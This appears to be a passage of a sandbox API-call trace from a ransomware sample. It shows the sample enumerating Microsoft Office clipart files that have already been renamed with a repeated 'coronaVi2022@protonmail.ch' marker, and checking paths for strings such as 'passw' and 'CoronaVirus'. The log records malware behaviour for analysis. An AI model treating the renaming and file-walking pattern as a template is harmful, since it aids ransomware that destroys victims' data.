	[0094.922] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xefee284e, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x3a21, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", cAlternateFileName="CORONA~3.GIF")) returned 1
	[0094.922] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.922] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.923] malloc (_Size=0x1000) returned 0x51f3088
	[0094.923] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 242
	[0094.923] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.923] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="wasse") returned 0x0
	[0094.923] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="passw") returned 0x0
	[0094.923] SetThreadPriority (hThread=0xbd0, nPriority=15) returned 1
	[0094.925] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xefee284e, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", cAlternateFileName="COFC81~1.GIF")) returned 1
	[0094.925] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.929] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.931] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.931] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 242
	[0094.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="wasse") returned 0x0
	[0094.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="passw") returned 0x0
	[0094.932] SetThreadPriority (hThread=0xbd4, nPriority=15) returned 1
	[0094.939] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xefee284e, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xcc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", cAlternateFileName="CO378D~1.GIF")) returned 1
	[0094.939] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.939] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.939] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.939] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 242
	[0094.939] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.939] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="wasse") returned 0x0
	[0094.939] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="passw") returned 0x0
	[0094.939] SetThreadPriority (hThread=0xbc8, nPriority=15) returned 1
	[0094.941] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", cAlternateFileName="CORONA~4.GIF")) returned 1
	[0094.941] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.942] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.945] malloc (_Size=0x1000) returned 0x51f3088
	[0094.945] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 242
	[0094.945] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.945] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="wasse") returned 0x0
	[0094.945] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="passw") returned 0x0
	[0094.945] SetThreadPriority (hThread=0xbd8, nPriority=15) returned 1
	[0094.947] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeff08ad2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1e21, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", cAlternateFileName="CO7D79~1.GIF")) returned 1
	[0094.952] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.952] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.952] malloc (_Size=0x1000) returned 0x51f0070
	[0094.952] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 242
	[0094.952] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.952] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="wasse") returned 0x0
	[0094.952] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="passw") returned 0x0
	[0094.953] SetThreadPriority (hThread=0xbdc, nPriority=15) returned 1
	[0095.013] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeff08ad2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x2e81, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", cAlternateFileName="CO5B5F~1.GIF")) returned 1
	[0095.013] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.013] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.013] malloc (_Size=0x1000) returned 0x51f60a0
	[0095.013] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 242
	[0095.013] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.013] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="wasse") returned 0x0
	[0095.013] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="passw") returned 0x0
	[0095.013] SetThreadPriority (hThread=0xbe0, nPriority=15) returned 1
	[0095.015] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeff08ad2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", cAlternateFileName="CORONA~1.GIF")) returned 1
	[0095.021] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.021] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.021] malloc (_Size=0x1000) returned 0x51f4090
	[0095.021] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 242
	[0095.021] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.021] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="wasse") returned 0x0
	[0095.021] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="passw") returned 0x0
	[0095.021] SetThreadPriority (hThread=0xbe4, nPriority=15) returned 1
	[0095.025] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", cAlternateFileName="COB0ED~1.GIF")) returned 1
	[0095.027] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.027] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.027] malloc (_Size=0x1000) returned 0x51f1078
	[0095.027] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 242
	[0095.027] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.027] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="wasse") returned 0x0
	[0095.027] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="passw") returned 0x0
	[0095.028] SetThreadPriority (hThread=0xbe8, nPriority=15) returned 1
	[0095.033] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x31c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", cAlternateFileName="CO9BAB~1.GIF")) returned 1
	[0095.033] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.033] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.033] malloc (_Size=0x1000) returned 0x51f5098
	[0095.033] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 242
	[0095.033] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.033] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="wasse") returned 0x0
	[0095.033] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="passw") returned 0x0
	[0095.033] SetThreadPriority (hThread=0xbec, nPriority=15) returned 1
	[0095.035] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", cAlternateFileName="COAFFB~1.GIF")) returned 1
	[0095.039] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.039] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.041] malloc (_Size=0x1000) returned 0x51f3088
	[0095.041] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 242
	[0095.041] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.041] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="wasse") returned 0x0
	[0095.041] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="passw") returned 0x0
	[0095.041] SetThreadPriority (hThread=0xbf0, nPriority=15) returned 1
	[0095.045] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xc61, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", cAlternateFileName="CO44C5~1.GIF")) returned 1
	[0095.047] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.047] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.047] malloc (_Size=0x1000) returned 0x51f1078
	[0095.047] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 242
	[0095.047] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.047] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="wasse") returned 0x0
	[0095.047] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="passw") returned 0x0
	[0095.047] SetThreadPriority (hThread=0xbf4, nPriority=15) returned 1
	[0095.053] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x30d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", cAlternateFileName="CO795D~1.GIF")) returned 1
	[0095.055] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.055] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.056] malloc (_Size=0x1000) returned 0x51f4090
